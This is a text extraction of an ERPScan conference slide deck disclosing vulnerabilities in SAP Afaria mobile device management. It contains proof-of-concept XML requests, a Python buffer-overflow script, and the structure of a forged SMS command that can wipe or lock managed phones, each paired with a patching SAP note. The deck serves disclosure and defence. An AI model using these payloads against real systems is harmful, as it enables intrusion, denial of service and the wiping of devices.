one sms to hack a company - sap cyber security solutions · pdf fileone sms to hack a company....

56
Invest in security to secure investments One SMS to hack a company Dmitry Chastukhin. ERPScan

Upload: vuongngoc

Post on 27-Feb-2018

229 views

Category:

Documents


1 download

TRANSCRIPT

Page 1: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Invest in securityto secure investments

One SMS to hack a  company

Dmitry Chastukhin. ERPScan

Page 2: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

About ERPScan

• The 

only 

360‐degree 

SAP 

security 

solution: 

ERPScan 

Security  Monitoring Suite for SAP

• Leader by the number of acknowledgments from SAP (200+)

• 100+ presentations key security conferences worldwide

• 30+ awards and nominations

• Research 

team: 

20 

experts 

with 

experience 

in 

different 

areas  of security

• Headquarters in Palo Alto (US) and Amsterdam (EU)

2

Page 3: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

What is SAP?

3

• The most popular business application

• More than 250000 customers worldwide 

• 83% Forbes 500 companies run SAP

• Main system – ERP

• Main platforms‒

SAP NetWeaver ABAP

SAP NetWeaver J2EE

SAP BusinessObjects

SAP HANA

SAP Mobile Platform (SMP)

Page 4: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

What is BYOD?

4

Page 5: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

What is MDM?

5

Page 6: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

SAP Afaria

6

Page 7: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

SAP Afaria

– Version 7.0 SP5: Released August 2014 (as SAP Afaria SP5)– Version 7.0 SP4: Released December 2013 (as SAP Afaria SP4)– Version 7.0 SP2: Released December 2012 (as SAP Afaria SP2)– Version 7.0: Released April 2012 (as SAP Afaria)– Version 6.6: Released September 2010– Version 6.5: Released November 2009– Version 6.0: Released December 2008– Version 5.0: Released November 2003– Version 4.0: Released June 2000 (as Afaria)– Version 3.5: Released May 2000 (as Afaria for Handhelds)– Version 3.0: Released October 1999– Version 2.0: Released February 1999 (as CONNECT:Manage)– Version 1.2: Released October 1997 (as RemoteWare Express)– Version 1.0: Released February 1997 (as SessionXpress)

7

Page 8: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

SAP Afaria

8

Page 9: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

SAP Afaria

9

Page 10: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

SAP Afaria

10

• Policies

– Enrollment

– Configuration– Application

Page 11: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Enrollment

policy

11

Page 12: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Configuration policy

12

Page 13: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Application policy

13

Page 14: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

SAP Afaria

14

• Device information

– Calls– SMS/MMS

– Locations– Hardware information

– Application information

– etc…

Page 15: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Device information

15

Page 16: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

SAP Afaria

16

• Communications 

– HTTP/HTTPS– Xnet– SMS

– Google Cloud Messaging / Apple Push Notification

Page 17: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Communication

17

Page 18: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

SAP Afaria

vulnerabilities

18

Page 19: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

SAP Afaria: good things

19

Page 20: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Good things

20

Page 21: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Good things

21

Page 22: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Good things

22

Page 23: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

SAP Afaria: bad things

23

Page 24: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Missing

authorization

24

SAP Afaria missing authorization vulnerability details

Page 25: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 1. Missing

authorization

• Command value

Run Channel

or

Test• The

XML request

must

start

with

4 spaces

• PoC:

<AfariaNotify version="1.0.0"><Message type="Command" value="Run Channel"><Client name="AFARIA70PT"><Client name="LOCALHOST" GUID="59146189-1f92-46d5-85aa-

6293631d5d2e"><Transmitter address="172.16.2.67:4444\asd"><Channel address="\\172.16.2.67:4444\asd"

name="\\172.16.2.67:4444\df"></Channel></Transmitter></Client></Message></AfariaNotify>

25

Page 26: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Prevention

Install SAP security note

2134905

Missing authorization check in XCListener

26

• Install SAP Security Note

2134905

• Missing authorization check in XCListener

Page 27: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Overflows

27

SAP Afaria

buffer overflow vulnerability details 

Page 28: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 2. XcListener

DoS

<AfariaNotify version="1.0.0"><Message type="Command" value="Run Channel" >

<Client name="LOCALHOST" ><Client name="LOCALHOST" GUID="59146189-1f92-

46d5-85aa-6293631d5d2e"><Transmitter address="172.16.2.67:4444\">

<Channel address="\\172.16.2.67:4444\asd" name="\\172.16.2.67:4444\(A*1491)">

</Channel></Transmitter>

</Client></Message>

</AfariaNotify>(A*3678)

28

Page 29: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 3. XcListener

BoF

• PoC:

import socket

HOST = ‘hostname' PORT = 3005 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))poc = 'A'*4098s.send(poc)data = s.recv(10000)s.close()print 'Received', (data)

29

Page 30: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Prevention

• Install SAP Security Note

2132584

• Buffer overflow in SAP Afaria

7 XcListener

30

Page 31: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Hardcoded values

31

Page 32: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 4.  Pwd

in txt

32

Page 33: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 5. Hardcoded encryption key

33

Page 34: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 6. Hardcoded encryption key. Again

34

Page 35: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 7. Hardcoded encryption key. Again  and again

35

Page 36: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 4. Secure functions

36

Page 37: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

XSS

37

SAP Afaria

XSS vulnerability details

Page 38: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 8. Stored XSS

38

Page 39: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 8. Stored XSS

39

Page 40: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

DEMO

40

Page 41: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Prevention

• Install SAP Security Notes:

2153690, 2152669

41

Page 42: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Control via SMS

42

SAP Afaria

SMS Auth bypass  vulnerability details

Page 43: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. Control via SMS

43

• Administrators can use SMS commands to:‒

Lock phone

Wipe phone‒

Unlock phone

Request log‒

Block user

Send message‒

Remediate

Transmit location data‒

Implement policy

etc.

Page 44: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. SMS command

44

• WIPEALLDATA• WIPENITRODESK• WIPENITRODESKSDCARD• LOCKDEVICE• FETCHLOG• UNLOCKDEVICE• USERLOCK• REMEDIATE• NOTIFY • etc..

Page 45: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. SMS

45

This

is

how

an

SMS to

lock

user

looks:@#!Afaria64aACAhntVzjTIjhHDMGql8ldvc/8U6IlIoPU7aAOT8=$\$CMD:USERLOCK

where:@#!Afaria – a signature telling the Afaria

mobile application to 

process the message64aACAhntVzjTIjhHDMGql8ldvc/8U6IlIoPU7aAOT8= – a 

Base64 SMS authentication string $\$CMD – an ID which means the SMS contains a commandUSERLOCK – the command

Page 46: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. SMS command

• Authentication string is SHA256 hash

• This is what is hashed:<LastAdminSessionID>+<ClientID>+<TransmitterI D>+$\$CMD:<CMD_NAME>

– where:<LastAdminSessionID> – ID of the last session of this phone 

with the Afaria

server<ClientID> – mobile device ID

<TransmitterID> – transmitter ID

46

Page 47: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. SMS command

• Authentication string is SHA256 hash

• This is what is hashed:<LastAdminSessionID>+<ClientID>+<TransmitterID>+$\$CMD

:<CMD_NAME>

– where:<LastAdminSessionID> – ID of the last session of this phone with the 

Afaria

server<ClientID> –

mobile device ID

<TransmitterID> – transmitter ID

• SMS:@#!Afaria+base64(sha256(<LastAdminSessionID>

+<ClientID>+<TransmitterID>+$\$CMD: +<CMD_NAME>))+$\$CMD:+ <CMD_NAME>

47

Page 48: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. SMS command

48

Page 49: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. SMS command

49

• This

is

how

the

SMS structure

looks

now:

@#!Afaria+base64(sha256(<ClientID > +<ClientID>+<TransmitterID>+$\$CMD: +<CMD_NAME>))+$\$CMD:+ <CMD_NAME>

Page 50: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. SMS command

50

• TransmitterID can be received anonymously

by

sending

a  connection

request

to

the

Afaria

server

• ClientID is based on IMEI

Page 51: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. SMS command

51

@#!AfariayVpBRKfEIjIFMvAiSZ6AcRLwBMbRsS6QvpMx jSxINK4=$\\$CMD:NOTIFY:Hello SAP Afaria. U so secure!

Page 52: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. SMS command

52

• IMEI?– Information Disclosure from some apps

– XSS – …

Page 53: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Issue 9. SMS command

53

• IMEI?– IMEI catcher

Page 54: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

DEMO

54

Page 55: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Prevention

• Install SAP Security Note: 2155690

55

Page 56: One SMS to hack a company - SAP Cyber Security Solutions · PDF fileOne SMS to hack a company. Dmitry Chastukhin. ERPScan. About ERPScan • The only 360‐degree SAP security

Each 

SAP 

landscape 

is 

unique 

and 

we 

pay 

close 

attention 

to 

the 

requirements 

of  our 

customers 

and 

prospects. 

ERPScan

development 

team 

constantly 

addresses 

these specific needs and is actively involved in product advancement. If you wish to  know whether our scanner addresses a particular aspect, or simply have a feature  wish 

list, 

please 

e‐mail 

us. 

We 

will 

be 

glad 

to 

consider 

your 

suggestions 

for 

the 

future releases or monthly updates.

56

About

228 Hamilton Avenue, Fl. 3,Palo Alto, CA. 94301

USA HQ

Luna ArenA

238 Herikerbergweg, 

1101 CM Amsterdam

EU HQ

[email protected]